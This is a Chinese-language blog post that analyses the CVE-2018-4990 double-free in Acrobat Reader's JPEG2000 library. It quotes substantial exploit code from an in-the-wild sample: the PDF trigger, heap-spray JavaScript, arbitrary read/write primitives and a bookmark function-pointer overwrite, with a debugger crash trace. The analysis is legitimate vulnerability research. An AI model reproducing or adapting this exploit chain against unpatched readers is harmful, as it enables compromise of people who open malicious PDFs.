前言
最近,我刚刚得到了CVE-2018-4990的漏洞利用样本,这是一个影响Acrobat Reader的0-Day漏洞,在近期,Adobe发布了APSB18-09补丁包( https://helpx.adobe.com/security/products/acrobat/apsb18-09.html )对该漏洞进行了修复。来自ESET的Anton Cherepanov( https://www.welivesecurity.com/author/acherepanov/ )前几天写过一篇关于该漏洞的文章《两个0-Day漏洞的故事》( https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/ ),这是一篇不错的分析,但对于我来说,该篇文章却缺少了一些重要的东西,比如双重释放是如何被实际利用的。
在本文中,我将主要分析攻击者如何利用该漏洞,通过一个特殊的JPEG2000图像而触发Acrobat Reader双重释放(Double Free)漏洞。
概述
目前,能够在野外发现Acrobat Reader的漏洞是一件非常罕见的事情。因此,我决定对这一漏洞利用样本进行分析。本文中所涉及的所有分析过程是在v2018.011.20035版本的AcroRd32.exe (c4c6f8680efeedafa4bb7a71d1a6f0cd37529ffc)下完成的。除该版本之外,目前已知其他版本也受到此漏洞的影响,具体请参阅Adobe的公告APSB18-09( https://helpx.adobe.com/security/products/acrobat/apsb18-09.html )了解更多详情。
深入漏洞的根源
在PDF中,由于有许多对象被压缩,因此也就隐藏了例如JavaScript和图像之类的真正功能,因此我需要做的第一件事,就是对PDF进行解压缩。我喜欢使用PDF Toolkit( https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/ ),因为它是以命令行的方式来使用的。
c:> pdftk 4b672deae5c1231ea20ea70b0bf091164ef0b939e2cf4d142d31916a169e8e01 output poc.pdf uncompress
由于我没有JPEG2000图像的原始样本,因此我并不知道该图像是否已经被位反转(Bitflipped)过,因此我在这里只能对JavaScript进行深入研究。在忽略掉JavaScript的其他部分之后,我们发现了下面代码,可以触发双重释放:
function trigger(){
var f1 = this.getField("Button1");
if(f1){
f1.display = display.visible;
}
}
trigger();
JavaScript来源于根结点触发的OpenAction:
1 0 obj
<<
/Length 133
>>
stream
function trigger(){
var f1 = this.getField("Button1");
if(f1){
f1.display = display.visible;
}
}
trigger();
endstream
endobj
...
5 0 obj
<<
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 6 0 R
/AcroForm 7 0 R
/Type /Catalog
>>
endobj
6 0 obj
<<
/JS 1 0 R
/Type /Action
/S /JavaScript
>>
endobj
...
trailer
<<
/Root 5 0 R
/Size 39
>>
在启用页堆(Page Heap)和用户模式栈跟踪(User-mode Stack Traces)的情况下,我们会得到以下崩溃信息:
(a48.1538): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=020e0000 edi=020e0000
eip=66886e88 esp=0022a028 ebp=0022a074 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:
66886e88 813abbbbcdab cmp dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=????????
0:000> kv
ChildEBP RetAddr Args to Child
0022a074 66886f95 020e1000 d0d0d0d0 020e0000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [SEH])
0022a098 66887240 020e1000 d0d0d0d0 0022a108 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [2,5,0])
0022a0b4 66889080 020e1000 d0d0d0d0 0078d911 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [2,3,0])
0022a0d0 777969cc 020e0000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [3,3,0])
0022a118 77759e07 020e0000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [SEH])
0022a20c 777263a6 00000000 d0d0d0d0 387e2f98 ntdll!RtlpFreeHeap+0x5d (FPO: [SEH])
0022a22c 7595c614 020e0000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [3,1,4])
0022a240 5df7ecfa 020e0000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [3,0,0])
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesAdobeAcrobat Reader DCReaderJP2KLib.dll -
0022a254 667d0574 d0d0d0d0 7ea9257c 69616fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl) [f:ddvctoolscrtcrtw32heapfree.c @ 51]
WARNING: Stack unwind information not available. Following frames may be wrong.
0022a374 667e6482 35588fb8 4380cfd8 000000fd JP2KLib!JP2KCopyRect+0xbae6
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesAdobeAcrobat Reader DCReaderAcroRd32.dll -
0022a3cc 511d6cfc 36496e88 68d96fd0 4380cfd8 JP2KLib!JP2KImageInitDecoderEx+0x24
0022a454 511d8696 3570afa8 69616fac 3570afa8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261843
0022a4b4 511cd785 69616fac 0022a4d4 511d6640 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2631dd
0022a4c0 511d6640 69616fac 462f6f70 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2582cc
0022a4d4 50dc030d 69616fac 41826fd0 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261187
0022a510 50dbf92b c0010000 0000000d 41826fc8 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x7867d
0022a5e0 50dbebc6 0022a988 00000000 60b2d137 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x77c9b
0022a930 50dbeb88 0022a988 45c3aa50 60b2d163 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76f36
0022a964 50dbea71 41826e28 45c3aa50 0022aa1c AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76ef8
0022a9d0 50dbd949 c0010000 0000000d 45c3aa50 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76de1
我们可以看到,释放的调用者是JP2KLib!JP2KCopyRect+0xbae6,接下来让我们深入该函数,来看看第二次释放是在哪里被触发的。
因此,为了触发这一漏洞,会发生如下过程:
1、加载PDF,在一个字段按钮内部解析畸形的JP2K图像,这触发了第一次释放。
2、加载OpenAction,其中包含将访问字段按钮的JavaScript,设置一个属性并触发第二次释放。
这样一来,攻击者就有了一个非常好的机会,能够重用JavaScript中释放的块,以此来通过第二次释放触发一个UAF(Use-After-Free)条件。我认为,如果利用Pwn2own 2017上发表的CVE-2017-3055堆缓冲区溢出漏洞( https://www.zerodayinitiative.com/advisories/ZDI-17-280/ ),并在此前或此后执行JavaScript,也是同样可行的。我们知道,有很多漏洞都是通过格式不正确的静态内容和动态内容访问相结合,并对格式不正确的内容进行操纵而触发的。这种类型的模糊方法比较困难,因为不仅仅需要对内容进行模糊处理,还需要对其进行修改和生成,属于较为综合的模糊策略。
漏洞利用
在触发漏洞之前,攻击者使用以下JavaScript:
var a = new Array(0x3000);
var spraynum = 0x1000;
var sprayarr = new Array(spraynum);
var spraylen = 0x10000-24;
// force allocations to get a clean heap
for(var i = 1; i < 0x3000; i++){
a[i] = new Uint32Array(252);
}
// alloc to reclaim the freed buffer
for(var i = 1; i < spraynum; i++){
sprayarr[i] = new ArrayBuffer(spraylen);
}
// make holes
for(var i = 1; i < 0x3000; i = i+2){
delete a[i1];
a[i1] = null;
}
基本上,这段代码正在进行的是第一阶段(Stage 1):
Stage 1 - Prepare Heap Stage 2 - Double Free Stage 3 - Reclaim Freed
+------------------------+ +------------------------+ +------------------------+
| | | | | |
| Bin size: 0x508 | | Bin size: 0x508 | | Bin size: 0x508 |
| | | | | |
| +--------------+ | | +--------------+ | | +--------------+ |
| | | | | | | | | | | |
| | Freed | | | | Freed | | | | Freed | |
| | | | | | | | | | | |
| +--------------+ | | +--------------+ | | +--------------+ |
| +--------------+ | | +--------------+ | | +--------------+ |
| | | | | | | | | | | |
| | Allocated | | | | Allocated | | | | Allocated | |
| | | | | | | | | | | |
| +--------------+ | | +--------------+ | | +--------------+ |
| +--------------+ | | +--------------+ | | +--------------+ |
| | | | | | | | | | | |
| | Allocated | | +------------> | | Freed | | +------------> | | Freed | |
| | | | | | | | | | chunks | |
| +--------------+ | | +--------------+ | | | coalesced | |
| +--------------+ | | +--------------+ | | | | |
| | | | | | | | | | | |
| | Freed | | | | Freed | | | | | |
| | | | | | | | | | | |
| +--------------+ | | +--------------+ | | +--------------+ |
| | | | | |
+------------------------+ +------------------------+ +------------------------+
在代码中,使用for(var i = 1; i < 0x3000; i = i+2)语句来产生漏洞,其含义是:每进行两次分配,就会触发一次释放。随后,将在分配的一个Slot上触发双重释放。在这时,Windows堆管理器(Windows Heap Manager)会对这些块进行合并,产生一个0x2000大小的空Slot。
现在,攻击者已经创建了这一利用条件,接下来就可以执行下面的JavaScript代码:
// reclaims the memory, like your typical use after free
for(var i = 1;i < 0x40; i++){
sprayarr2[i] = new ArrayBuffer(0x20000-24);
}
这段代码会从双重释放的内存空间中回收已经释放的内存。并且,因为Slot较大(由于之前的合并),所以需要分配比原来大一倍的空间。在此之后,攻击者已经回收了释放的内存,他们接下来需要找出sprayarr中的哪个ArrayBuffer的大小增加了一倍。
for(var i = 1;i < spraynum; i++){
if( sprayarr[i].byteLength == 0x20000-24){
var biga = new DataView(sprayarr[i1]);
biga.setUint32(0x10000-12,0x66666666);
// +1 because the next reference as a corrupted length now.
if(sprayarr[i+1].byteLength == 0x66666666){
// game over attackers can read/write out of biga
biga = new DataView(sprayarr[i+1]);
...
mydv = biga;
}
现在,在找到所需的ArrayBuffer之后,就可以使用它来覆盖其相邻部分,覆盖的大小也就是ArrayBuffer的字节长度。随后,会检查下一个ArrayBuffer是否具有匹配的字节长度,如果是,就证明它们已经具有完整的读写原语。
function myread(addr){
mydv.setUint32(mypos,addr,true);
var res = myarray[0];
mydv.setUint32(mypos,myarraybase,true);
return res;
}
function mywrite(addr,value){
mydv.setUint32(mypos,addr,true);
myarray[0] = value ;
mydv.setUint32(mypos,myarraybase,true);
}
到了这里,游戏已经结束。本来攻击者只进行了一次数据攻击,但由于Acrobat Reader不具有控制流保护(Control Flow Guard,CFG),因此他们选择了传统的调用门控制流(Call Gate Control Flow)。首先,找到EScript.api并得到了DLL的基地址,然后使用一个DLL加载程序存根(DLL Loader Stub)创建了一个ROP链,重写了书签对象的执行函数指针,最终重定向了执行流。
var bkm = this.bookmarkRoot;
var objescript = 0x23A59BA4 - 0x23800000 + dll_base;
objescript = myread(objescript);
...
mywrite(objescript, 0x6b707d06 - 0x6b640000 + dll_base);
mywrite(objescript+4,myarraybase);
mywrite(objescript+0x598,0x6b68389f - 0x6b640000 + dll_base);
// adios!
bkm.execute();
总结
对于攻击者来说,Adobe Acrobat Reader仍然是一个很好的目标,因为JavaScript对于ArrayBuffers的控制非常灵活,并且PDF解析过程非常复杂。此外,在操作系统层面上进行缓解只能产生很小的影响,所以Adobe也在努力加固其二进制文件( /GUARD:CF ),从而使得漏洞开发过程更加艰难。
其实,如果Adobe启用了控制流保护(CFG),并开发一种堆隔离技术(Isolated Heap),就像他们已经在Flash中采用的措施一样,那么这个漏洞可能会更加难以利用。
如前文所述,我们认为目前这种漏洞利用样本还处于开发阶段,因为在样本中,没有对JavaScript进行任何模糊处理。并且我们认为,在JP2KLib.dll中还存在着更多其他漏洞。
参考文章
https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/
发表评论
您还未登录,请先登录。
登录